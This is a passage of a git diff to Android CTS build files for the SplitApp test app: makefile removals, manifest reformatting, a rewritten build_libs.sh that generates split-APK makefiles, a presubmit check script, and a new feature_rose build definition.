 LOCAL_PATH := $(call my-dir)
 
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := mdpi-v4 hdpi-v4 xhdpi-v4 xxhdpi-v4 v7 fr de
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-LOCAL_EXPORT_PACKAGE_RESOURCES := true
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant with a different revision code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffRevision
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_MANIFEST_FILE := revision/AndroidManifest.xml
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different version code
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffVersion
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 101 --version-name OneHundredOne --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-################################################
-# Define a variant with a different signature
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_PACKAGE_NAME := CtsSplitAppDiffCert
-LOCAL_PACKAGE_SPLITS := v7
-
-# Tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey2
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitApp
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := xxhdpi-v4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundredRevisionTwelve --replace-version
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
 ifeq (,$(ONE_SHOT_MAKEFILE))
-include $(LOCAL_PATH)/libs/Android.mk $(LOCAL_PATH)/feature/Android.mk
+include $(LOCAL_PATH)/libs/Android.mk
 endif
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
index ec88e32..97a02e7 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/AndroidManifest.xml
@@ -15,50 +15,75 @@
 -->
 
 <manifest xmlns:android="http://schemas.android.com/apk/res/android"
-    package="com.android.cts.splitapp"
-    android:targetSandboxVersion="2">
+     xmlns:tools="http://schemas.android.com/tools"
+     package="com.android.cts.splitapp"
+     android:targetSandboxVersion="2">
 
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29"/>
+    <!-- The androidx test libraries uses minSdkVersion 14. Applies an overrideLibrary rule here
+         to pass the build error, since tests need to use minSdkVersion 4. -->
+    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="29" tools:overrideLibrary=
+        "androidx.test.runner, androidx.test.rules, androidx.test.monitor, androidx.test.services.storage"/>
 
     <uses-permission android:name="android.permission.CAMERA"/>
     <uses-permission android:name="android.permission.RECEIVE_BOOT_COMPLETED"/>
     <uses-permission android:name="android.permission.QUERY_ALL_PACKAGES"/>
 
-    <application android:label="SplitApp" android:multiArch="true">
-        <activity android:name=".MyActivity">
+    <application android:label="SplitApp"
+         android:multiArch="true">
+        <activity android:name=".MyActivity"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
+                <action android:name="android.intent.action.MAIN"/>
+                <category android:name="android.intent.category.LAUNCHER"/>
             </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
+            <meta-data android:name="android.service.wallpaper"
+                 android:resource="@xml/my_activity_meta"/>
+        </activity>
+        <activity android:name=".ThemeActivity" android:theme="@style/Theme_Base"
+                  android:exported="false">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.THEME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
+        </activity>
+        <activity android:name=".feature.warm.EmptyActivity" android:splitName="feature_warm"
+                  android:exported="true">
+            <intent-filter>
+                <action android:name="com.android.cts.splitapp.intent.SPLIT_NAME_TEST"/>
+                <category android:name="android.intent.category.DEFAULT"/>
+            </intent-filter>
         </activity>
         <receiver android:name=".MyReceiver"
-                android:enabled="@bool/my_receiver_enabled">
+             android:enabled="@bool/my_receiver_enabled"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
+                <action android:name="android.intent.action.DATE_CHANGED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".LockedBootReceiver" android:exported="true" android:directBootAware="true">
+        <receiver android:name=".LockedBootReceiver"
+             android:exported="true"
+             android:directBootAware="true">
             <intent-filter>
-                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED" />
+                <action android:name="android.intent.action.LOCKED_BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
-        <receiver android:name=".BootReceiver" android:exported="true">
+        <receiver android:name=".BootReceiver"
+             android:exported="true">
             <intent-filter>
-                <action android:name="android.intent.action.BOOT_COMPLETED" />
+                <action android:name="android.intent.action.BOOT_COMPLETED"/>
             </intent-filter>
         </receiver>
 
         <provider android:name=".RemoteQueryProvider"
-                  android:authorities="com.android.cts.splitapp"
-                  android:exported="true"
-                  android:directBootAware="true">
+             android:authorities="com.android.cts.splitapp"
+             android:exported="true"
+             android:directBootAware="true">
         </provider>
 
-        <uses-library android:name="android.test.runner" />
+        <uses-library android:name="android.test.runner"/>
     </application>
 
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
-        android:targetPackage="com.android.cts.splitapp" />
+         android:targetPackage="com.android.cts.splitapp"/>
 
 </manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk b/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
deleted file mode 100644
index b61c5d6..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/NativeTemplate.mk
+++ /dev/null
@@ -1,28 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH := $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsSplitApp_ARCHARCH
-
-LOCAL_JAVA_RESOURCE_DIRS := raw
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --replace-version
-
-include $(BUILD_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/README b/hostsidetests/appsecurity/test-apps/SplitApp/README
index 480289e..bf7190e 100644
--- a/hostsidetests/appsecurity/test-apps/SplitApp/README
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/README
@@ -1,7 +1,6 @@
 
 The entire libs/ directory is built and constructed automatically with
 the build_libs.sh script.  Don't attempt to modify manually.  To rebuild
-the native code, make the following change to the NDK to pass through
-the target architecture, and then run build_libs.sh:
+the native code, make NDK_BUILD variable to point the correct path in
+the host environment, and then run build_libs.sh:
 
-build/core/build-binary.mk:LOCAL_CFLAGS := -DANDROID -D__ANDROID_ARCH__=\"$(TARGET_ARCH_ABI)\" $(LOCAL_CFLAGS)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
new file mode 100644
index 0000000..bc9dc3c
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/TEST_MAPPING
@@ -0,0 +1,12 @@
+{
+  "presubmit": [
+    {
+      "name": "CtsAppSecurityHostTestCases",
+      "options": [
+        {
+          "include-filter": "android.appsecurity.cts.SplitTests"
+        }
+      ]
+    }
+  ]
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
index 6090374..2acd4cb 100755
--- a/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/build_libs.sh
@@ -15,7 +15,127 @@
 # limitations under the License.
 #
 
-NDK_BUILD="$HOME/android-ndk-r10b/ndk-build"
+# Please change NDK_BUILD to point to the appropriate ndk-build in NDK. It's recommended to
+# use the NDK with maximum backward compatibility, such as the NDK bundle in Android SDK.
+NDK_BUILD="$HOME/Android/android-ndk-r16b/ndk-build"
+
+function generateCopyRightComment() {
+  local year="$1"
+  local isAndroidManifest="$2"
+  local lineComment='#'
+  local copyrightStart=""
+  local copyrightEnd=""
+  local commentStart=""
+  local commentEnd=""
+  if [[ -n "$isAndroidManifest" ]]; then
+    lineComment=""
+    copyrightStart=$'<!--\n'
+    copyrightEnd=$'\n-->'
+    commentStart='<!--'
+    commentEnd='-->'
+  fi
+
+  copyrightInMk=$(
+    cat <<COPYRIGHT_COMMENT
+${copyrightStart}${lineComment} Copyright (C) ${year} The Android Open Source Project
+${lineComment}
+${lineComment} Licensed under the Apache License, Version 2.0 (the "License");
+${lineComment} you may not use this file except in compliance with the License.
+${lineComment} You may obtain a copy of the License at
+${lineComment}
+${lineComment}      http://www.apache.org/licenses/LICENSE-2.0
+${lineComment}
+${lineComment} Unless required by applicable law or agreed to in writing, software
+${lineComment} distributed under the License is distributed on an "AS IS" BASIS,
+${lineComment} WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+${lineComment} See the License for the specific language governing permissions and
+${lineComment} limitations under the License.${copyrightEnd}
+
+${commentStart}${lineComment} Automatically generated file from build_libs.sh.${commentEnd}
+${commentStart}${lineComment} DO NOT MODIFY THIS FILE.${commentEnd}
+
+COPYRIGHT_COMMENT
+  )
+  echo "${copyrightInMk}"
+}
+
+function generateLibsAndroidMk {
+  local targetFile=$1
+  local copyrightInMk=$(generateCopyRightComment "2015")
+  (
+    cat <<LIBS_ANDROID_MK
+${copyrightInMk}
+include \$(call all-subdir-makefiles)
+LIBS_ANDROID_MK
+  ) >"${targetFile}"
+
+}
+
+function generateAndroidManifest {
+  local targetFile="$1"
+  local arch="$2"
+  local splitNamePart="$3"
+  (
+    cat <<ANDROIDMANIFEST
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Automatically generated file from build_libs.sh. -->
+<!-- DO NOT MODIFY THIS FILE. -->
+<manifest xmlns:android="http://schemas.android.com/apk/res/android"
+        package="com.android.cts.splitapp"
+        split="lib${splitNamePart}_${arch}">
+    <application android:hasCode="false" />
+</manifest>
+ANDROIDMANIFEST
+  ) >"${targetFile}"
+
+}
+
+function generateModuleForContentPartialMk {
+  local arch="$1"
+  local packagePartialName="$2"
+  local rawDir="$3"
+  local aaptRevisionFlags="$4"
+
+  localPackage=$(
+    cat <<MODULE_CONTENT_FOR_PARTIAL_MK
+
+include \$(CLEAR_VARS)
+
+LOCAL_PACKAGE_NAME := CtsSplitApp${packagePartialName}_${arch}
+LOCAL_SDK_VERSION := current
+
+LOCAL_JAVA_RESOURCE_DIRS := ${rawDir}
+
+# tag this module as a cts test artifact
+LOCAL_COMPATIBILITY_SUITE := cts general-tests
+
+LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
+LOCAL_AAPT_FLAGS := --version-code 100 --replace-version${aaptRevisionFlags}
+
+include \$(BUILD_CTS_SUPPORT_PACKAGE)
+MODULE_CONTENT_FOR_PARTIAL_MK
+  )
+  echo "${localPackage}"
+}
+
+function generateAndroidMk() {
+  local targetFile="$1"
+  local arch="$2"
+  local copyrightInMk=$(generateCopyRightComment "2014")
+  local baseSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "" "raw" "")
+  local revisionSplitMkModule=$(generateModuleForContentPartialMk "${arch}" "_revision12" \
+      "raw_revision" " --revision-code 12")
+
+  (
+    cat <<LIBS_ARCH_ANDROID_MK
+#
+${copyrightInMk}
+LOCAL_PATH := \$(call my-dir)
+${baseSplitMkModule}
+${revisionSplitMkModule}
+LIBS_ARCH_ANDROID_MK
+  ) >"${targetFile}"
+}
 
 # Go build everything
 rm -rf libs
@@ -24,26 +144,24 @@
 $NDK_BUILD
 cd ../
 
-for arch in `ls libs/`;
-do
-    (
+for arch in $(ls libs/); do
+  (
     mkdir -p tmp/$arch/raw/lib/$arch/
     mv libs/$arch/* tmp/$arch/raw/lib/$arch/
 
-    echo "<?xml version=\"1.0\" encoding=\"utf-8\"?>
-<manifest xmlns:android=\"http://schemas.android.com/apk/res/android\"
-        package=\"com.android.cts.splitapp\"
-        split=\"lib_${arch//[^a-zA-Z0-9_]/_}\">
-    <application android:hasCode=\"false\" />
-</manifest>" > tmp/$arch/AndroidManifest.xml
+    # The library file name in the new revision apk should have the same file name with base apk.
+    mkdir -p tmp/$arch/raw_revision/lib/$arch/
+    mv tmp/$arch/raw/lib/$arch/libsplitappjni_revision.so \
+      tmp/$arch/raw_revision/lib/$arch/libsplitappjni.so
 
-    cp NativeTemplate.mk tmp/$arch/Android.mk
-    sed -i -r "s/ARCHARCH/$arch/" tmp/$arch/Android.mk
+    archWithoutDash="${arch//[^a-zA-Z0-9_]/_}"
+    generateAndroidManifest "tmp/$arch/AndroidManifest.xml" "${archWithoutDash}" ""
 
-    )
+    generateAndroidMk "tmp/$arch/Android.mk" "$arch"
+  )
 done
 
-echo "include \$(call all-subdir-makefiles)" > tmp/Android.mk
+generateLibsAndroidMk "tmp/Android.mk"
 
 rm -rf libs
 rm -rf obj
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
new file mode 100755
index 0000000..3419f2e
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/check_not_modify_libs.sh
@@ -0,0 +1,62 @@
+#!/bin/bash
+LOCAL_DIR="$( dirname "${BASH_SOURCE}" )"
+
+APP_DIR_IN_CTS="^hostsidetests\\/appsecurity\\/test-apps\\/SplitApp"
+BUILD_LIBS_SCRIPT="${APP_DIR_IN_CTS}\\/build_libs\\.sh\$"
+APP_LIBS_ANDROID_MK="${APP_DIR_IN_CTS}\\/libs/Android\\.mk\$"
+NATIVE_MK_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/Android\\.mk\$"
+MANIFEST_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/AndroidManifest\\.xml\$"
+JNI_PATTERN="${APP_DIR_IN_CTS}\\/jni\\/.*\$"
+LIB_SO_PATTERN="${APP_DIR_IN_CTS}\\/libs\\/.*\\/libsplitappjni.*\\.so\$"
+
+MODIFY_JNI=0
+MODIFY_ANDROID_MK=0
+MODIFY_BUILD_LIBS_SCRIPT=0
+LIB_SO_LIST=""
+MK_LIST=""
+MANIFEST_LIST=""
+for f in $*
+do
+    echo "${f}" | grep -q "${BUILD_LIBS_SCRIPT}" && MODIFY_BUILD_LIBS_SCRIPT=1
+    echo "${f}" | grep -q "${APP_LIBS_ANDROID_MK}" && MODIFY_ANDROID_MK=1
+
+    echo "${f}" | grep -q "${NATIVE_MK_PATTERN}" && MK_LIST="${MK_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${MANIFEST_PATTERN}" && MANIFEST_LIST="${MANIFEST_LIST}\n ${f}"
+
+    echo "${f}" | grep -q "${JNI_PATTERN}" && MODIFY_JNI=1
+    echo "${f}" | grep -q "${LIB_SO_PATTERN}" && LIB_SO_LIST="${LIB_SO_LIST}\n ${f}"
+done
+
+NUMBER_OF_ERRORS=0
+if [[ ${MODIFY_ANDROID_MK} -ne 0 && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of\n" \
+        "\033[0;31;47m${APP_LIBS_ANDROID_MK//\\/}\033[0m?"
+fi
+if [[ -n "${MK_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MK_LIST}\033[0m?"
+fi
+if [[ -n "${MANIFEST_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${BUILD_LIBS_SCRIPT//\\/} instead of" \
+        "\033[0;31;47m${MANIFEST_LIST}\033[0m?"
+fi
+if [[ -n "${LIB_SO_LIST}" && ${MODIFY_BUILD_LIBS_SCRIPT} -eq 0 && ${MODIFY_JNI} -eq 0 ]]
+then
+    ((NUMBER_OF_ERRORS++))
+    echo -e "Please modify ${JNI_PATTERN//\\/} files instead of" \
+        "\033[0;31;47m${LIB_SO_LIST}\033[0m?"
+fi
+if [[ ${NUMBER_OF_ERRORS} -gt 0 ]]
+then
+    echo "Please make sure to modify the file by running build_libs.sh.${NUMBER_OF_ERRORS}"
+fi
+
+exit ${NUMBER_OF_ERRORS}
+
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk b/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
deleted file mode 100644
index 22d0a1a..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/Android.mk
+++ /dev/null
@@ -1,74 +0,0 @@
-#
-# Copyright (C) 2014 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-#      http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-#
-
-LOCAL_PATH:= $(call my-dir)
-include $(CLEAR_VARS)
-
-LOCAL_SRC_FILES := $(call all-subdir-java-files)
-LOCAL_PACKAGE_NAME := CtsSplitAppFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-LOCAL_PACKAGE_SPLITS := v7
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-
-LOCAL_MODULE_TAGS := tests
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_USE_AAPT2 := true
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
-
-
-#################################################
-# Define a variant requiring a split for install
-
-include $(CLEAR_VARS)
-
-LOCAL_MODULE_TAGS := tests
-LOCAL_STATIC_JAVA_LIBRARIES := androidx.test.rules
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_MANIFEST_FILE := needsplit/AndroidManifest.xml
-
-LOCAL_PACKAGE_NAME := CtsNeedSplitFeature
-LOCAL_SDK_VERSION := current
-LOCAL_MIN_SDK_VERSION := 4
-
-LOCAL_COMPATIBILITY_SUITE := cts general-tests
-
-LOCAL_ASSET_DIR := $(LOCAL_PATH)/assets
-
-LOCAL_CERTIFICATE := cts/hostsidetests/appsecurity/certs/cts-testkey1
-LOCAL_APK_LIBRARIES := CtsSplitApp
-LOCAL_RES_LIBRARIES := $(LOCAL_APK_LIBRARIES)
-LOCAL_JAVA_LIBRARIES := android.test.runner.stubs android.test.base.stubs
-LOCAL_AAPT_FLAGS := --version-code 100 --version-name OneHundred --replace-version
-LOCAL_AAPT_FLAGS += --package-id 0x80 --rename-manifest-package com.android.cts.splitapp
-
-LOCAL_USE_AAPT2 := true
-LOCAL_PROGUARD_ENABLED := disabled
-LOCAL_DEX_PREOPT := false
-
-include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
deleted file mode 100644
index be3adfc..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/AndroidManifest.xml
+++ /dev/null
@@ -1,48 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2014 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        split="feature">
-
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-                android:enabled="@bool/feature_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service" />
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider" android:authorities="com.android.cts.splitapp.provider" />
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
deleted file mode 100644
index 7ce1830..0000000
--- a/hostsidetests/appsecurity/test-apps/SplitApp/feature/needsplit/AndroidManifest.xml
+++ /dev/null
@@ -1,49 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2018 The Android Open Source Project
-
-     Licensed under the Apache License, Version 2.0 (the "License");
-     you may not use this file except in compliance with the License.
-     You may obtain a copy of the License at
-
-          http://www.apache.org/licenses/LICENSE-2.0
-
-     Unless required by applicable law or agreed to in writing, software
-     distributed under the License is distributed on an "AS IS" BASIS,
-     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-     See the License for the specific language governing permissions and
-     limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
-        package="com.android.cts.splitapp"
-        split="feature"
-        android:isSplitRequired="true">
-
-    <uses-sdk android:minSdkVersion="4" android:targetSdkVersion="27" />
-
-    <!-- New permission should be ignored -->
-    <uses-permission android:name="android.permission.INTERNET" />
-
-    <!-- New application flag should be ignored -->
-    <application android:largeHeap="true">
-        <activity android:name=".FeatureActivity">
-            <intent-filter>
-                <action android:name="android.intent.action.MAIN" />
-                <category android:name="android.intent.category.LAUNCHER" />
-            </intent-filter>
-            <meta-data android:name="android.service.wallpaper" android:resource="@xml/my_activity_meta" />
-        </activity>
-        <receiver android:name=".FeatureReceiver"
-                android:enabled="@bool/feature_receiver_enabled">
-            <intent-filter>
-                <action android:name="android.intent.action.DATE_CHANGED" />
-            </intent-filter>
-        </receiver>
-        <service android:name=".FeatureService">
-            <intent-filter>
-                <action android:name="com.android.cts.splitapp.service" />
-            </intent-filter>
-        </service>
-        <provider android:name=".FeatureProvider" android:authorities="com.android.cts.splitapp.provider" />
-    </application>
-</manifest>
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
new file mode 100644
index 0000000..a691536
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/Android.bp
@@ -0,0 +1,38 @@
+//
+// Copyright (C) 2020 The Android Open Source Project
+//
+// Licensed under the Apache License, Version 2.0 (the "License");
+// you may not use this file except in compliance with the License.
+// You may obtain a copy of the License at
+//
+//      http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing, software
+// distributed under the License is distributed on an "AS IS" BASIS,
+// WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+// See the License for the specific language governing permissions and
+// limitations under the License.
+//
+
+android_test_helper_app {
+    name: "CtsSplitAppFeatureRose",
+    defaults: ["cts_support_defaults"],
+    srcs: ["src/**/*.java"],
+    sdk_version: "current",
+    min_sdk_version: "4",
+    aapt_include_all_resources: true,
+    // Generate an api split.
+    package_splits: ["v23"],
+    certificate: ":cts-testkey1",
+    libs: ["CtsSplitApp"],
+    test_suites: [
+        "cts",
+        "general-tests",
+    ],
+    aaptflags: [
+        "--version-code 100",
+        "--version-name OneHundred",
+        "--replace-version",
+        "--package-id 0x81",
+    ],
+}
diff --git a/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
new file mode 100644
index 0000000..8666555
--- /dev/null
+++ b/hostsidetests/appsecurity/test-apps/SplitApp/feature_rose/AndroidManifest.xml
@@ -0,0 +1,30 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
